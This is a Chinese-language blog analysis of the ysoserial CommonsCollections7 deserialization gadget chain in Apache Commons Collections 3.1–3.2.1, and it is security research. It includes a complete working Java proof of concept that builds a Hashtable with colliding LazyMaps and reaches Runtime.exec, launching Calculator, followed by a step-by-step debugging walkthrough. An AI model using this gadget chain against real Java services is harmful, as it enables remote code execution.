Ysoserial Commons Collections7分析
Ysoserial Commons Collections7分析
写在前面
| CommonsCollections Gadget Chains | CommonsCollection Version | JDK Version | Note |
|---|---|---|---|
| CommonsCollections1 | CommonsCollections 3.1 - 3.2.1 | 1.7 (8u71之后已修复不可利用) | |
| CommonsCollections2 | CommonsCollections 4.0 | 暂无限制 | javassist |
| CommonsCollections3 | CommonsCollections 3.1 - 3.2.1 | 1.7 (8u71之后已修复不可利用) | javassist |
| CommonsCollections4 | CommonsCollections 4.0 | 暂无限制 | javassist |
| CommonsCollections5 | CommonsCollections 3.1 - 3.2.1 | 1.8 8u76(实测8u181也可) | |
| CommonsCollections6 | CommonsCollections 3.1 - 3.2.1 | 暂无限制 | |
| CommonsCollections7 | CommonsCollections 3.1 - 3.2.1 | 暂无限制 |
CC7和CC1差不多,只是触发LazyMap.get()的方式不一样,反序列化的入口点变成了Hashtable类
Payload method chain: 因为chain发生了一些变化,这里贴出来先留个印象,放便后续调试时理解
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec
poc
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class cc7 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
// Reusing transformer chain and LazyMap gadgets from previous payloads
final String[] execArgs = new String[]{"open -a Calculator"};
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
execArgs),
new ConstantTransformer(1)};
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain,transformers);
// Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test1.out"));
objectOutputStream.writeObject(hashtable);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test1.out"));
objectInputStream.readObject();
// return hashtable;
}
}
PoC分析
前面部分基本都是CC1的老内容了,主要看下后面有关于Hashtable部分,主要是下面的一段代码
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
首先new了两个HashMap对象,之后分别利用这两个对象作为参数通过LazyMap.decorate()方法new了两个LazyMap对象
抛出问题:注意这里的LazyMap中的yy与zZ,这个命名是有说法的。
在reconstitutionPut方法中,可以看到zZ和yy的hash是一样的,但是重点在于index的值,如果不符合语法会导致无法进入for循环也就触发不了后续的利用链

(transformerChain是new的一个空ChainedTransformer对象)后续将这两个LazyMap对象作为参数传入hashtable.put()方法并put两次。抛出问题:为什么要put两次?
调试时发现在Hashtable#readObject()方法有如下一个循环,在这个for循环中去调用的reconstitutionPut方法

第一次循环调用reconstitutionPut方法时并不会走进chain中提到的equals方法,因为tab[index]的值是0,后面才会对tab[index]进行赋值。

第二次才能进入for循环进而调用if判断中的equals方法,这也是为什么hashtable要put两次的原因

调试分析
Hashtable#readObject()下断点,debug,跟进到reconstitutionPut方法

上面也提到了,第一次循环时并不能进入equals方法,这里略去,直接跟进到第二次循环的时候,调用的是LazyMap#equals方法,继续跟进,这里调用的其实是org/apache/commons/collections/map/AbstractMapDecorator的equals方法

调用AbstractMap的equals方法

在AbstractMap#equals()方法中最终调用了LazyMap.get()

后续就是进入ChainedTransformer#transform()方法,老生常谈的东西了,最终是在InvokerTransformer#transform()中反射调用exec执行命令

END
至此CC1-7就都分析完了,后面几个链分析的内容比较少,大部分都是前面的内容如果觉得不详细可以看之前写的CC1-3的文章,基本都涵盖了后面分析时没深入写的老生常谈的东西。后续应该会去跟一下ysoserial的源码,虽然之前分析URLDNS的时候就简单看过如何生成payload。但是分析cc的时候就没用ysoserial项目的源码(因为封装的太多了:D)之后可能会把CC8-10拿出来写成ysoserial的payload放进去。
Reference
https://www.anquanke.com/post/id/248169
https://www.cnblogs.com/nice0e3/
Ysoserial Commons Collections7分析的更多相关文章
- Java安全之Commons Collections7分析
Java安全之Commons Collections7分析 0x00 前言 本文讲解的该链是原生ysoserial中的最后一条CC链,但是实际上并不是的.在后来随着后面各位大佬们挖掘利用链,CC8,9 ...
- Ysoserial Commons Collections2分析
Ysoserial Commons Collections2分析 About Commons Collections2 CC2与CC1不同在于CC2用的是Commons Collections4.0; ...
- Ysoserial Commons Collections3分析
Ysoserial Commons Collections3分析 写在前面 CommonsCollections Gadget Chains CommonsCollection Version JDK ...
- Java安全之Commons Collections5分析
Java安全之Commons Collections5分析 文章首发:Java安全之Commons Collections5分析 0x00 前言 在后面的几条CC链中,如果和前面的链构造都是基本一样的 ...
- Java安全之Commons Collections6分析
Java安全之Commons Collections6分析 0x00 前言 其实在分析的几条链中都大致相同,都是基于前面一些链的变形,在本文的CC6链中,就和前面的有点小小的区别.在CC6链中也和CC ...
- Java安全之Commons Collections1分析(二)
Java安全之Commons Collections1分析(二) 0x00 前言 续上篇文,继续调试cc链.在上篇文章调试的cc链其实并不是一个完整的链.只是使用了几个方法的的互相调用弹出一个计算器. ...
- Java安全之Commons Collections1分析(一)
Java安全之Commons Collections1分析(一) 0x00 前言 在CC链中,其实具体执行过程还是比较复杂的.建议调试前先将一些前置知识的基础给看一遍. Java安全之Commons ...
- Java安全之Commons Collections1分析前置知识
Java安全之Commons Collections1分析前置知识 0x00 前言 Commons Collections的利用链也被称为cc链,在学习反序列化漏洞必不可少的一个部分.Apache C ...
- Java安全之Commons Collections1分析(三)
Java安全之Commons Collections1分析(三) 0x00 前言 继续来分析cc链,用了前面几篇文章来铺垫了一些知识.在上篇文章里,其实是硬看代码,并没有去调试.因为一直找不到JDK的 ...
随机推荐
- ASH数据的迁移:导出导入
自己写的小工具: 查看帮助 [oracle@redhat76 2]$ ./orash Usage: sh orash keyword [value1] [value2] --------------- ...
- 【算法】使用Golang实现加权负载均衡算法
背景描述 如下图所示,负载均衡做为反向代理,将请求方的请求转发至后端的服务节点,实现服务的请求. 在nginx中可以通过upstream配置server时,设置weight表示对应server的权重. ...
- python实现分水岭算法分割遥感图像
1. 定义 分水岭算法(watershed algorithm)可以将图像中的边缘转化为"山脉",将均匀区域转化为"山谷",在这方面有助于分割目标. 分水岭算法 ...
- 20210811 Dove 打扑克,Cicada 与排序,Cicada 拿衣服
考场 开考感觉 T3 比较可做.T1 看上去不难但毫无思路. 先想了 25min T3,想到一个确定左端点,二分最长的右端点,甚至想到了用猫树维护区间 or and...上厕所回来发现假了,没有单调性 ...
- 【机器学习|数学基础】Mathematics for Machine Learning系列之线性代数(1):二阶与三阶行列式、全排列及其逆序数
@ 目录 前言 二阶与三阶行列式 二阶行列式 三阶行列式 全排列及其逆序数 全排列 逆序数 结语 前言 Hello!小伙伴! 非常感谢您阅读海轰的文章,倘若文中有错误的地方,欢迎您指出- 自我介绍 ...
- 测试开发【提测平台】分享9-DBUntils优化数据连接&实现应用搜索和分页功能
微信搜索[大奇测试开],关注这个坚持分享测试开发干货的家伙. 从本期开始知识点讲以思维导图的形式给出,内容点会按照讲解-应用-展示的形式体现,这样会更清晰些. DBUntils连接池 在项目中链接数据 ...
- key存活时间和五个类型通用的一些指令操作
一.设置key的存活时间 1.失效后 ttl 是 -2,get返回 null : 2.不设置存活时候 ttl 返回是 -1: 二.查找指令和删除指令.重命名key.查看key类型 1.模糊查询 2.严 ...
- bean.xml配置数据源和读取配置文件配置数据源
一.bean.xml配置数据源 bean.xml装配bean,依赖注入其属性的时候,对应实体类中属性一定要有set方法, 二.读取配置文件配置数据源 1.配置文件 bean.xml配置: classp ...
- 如何在云效流水线 Flow中构建属于自己的NPM仓库
如何在云效流水线 Flow中构建属于自己的NPM仓库,Flow 通过各种构建组件,对各种语言提供了制品打包能力,让用户可以快速的使用流水线构建制品,并通过后续的部署任务进行部署.Flow 已经完成了与 ...
- TP6生成url
和TP5生成url方式有区别, 在控制器里 需要加上 ->build(), 如 url('index/arc/list')->build(); 如果是多域名还需要指定域名,如不想加域名可以 ...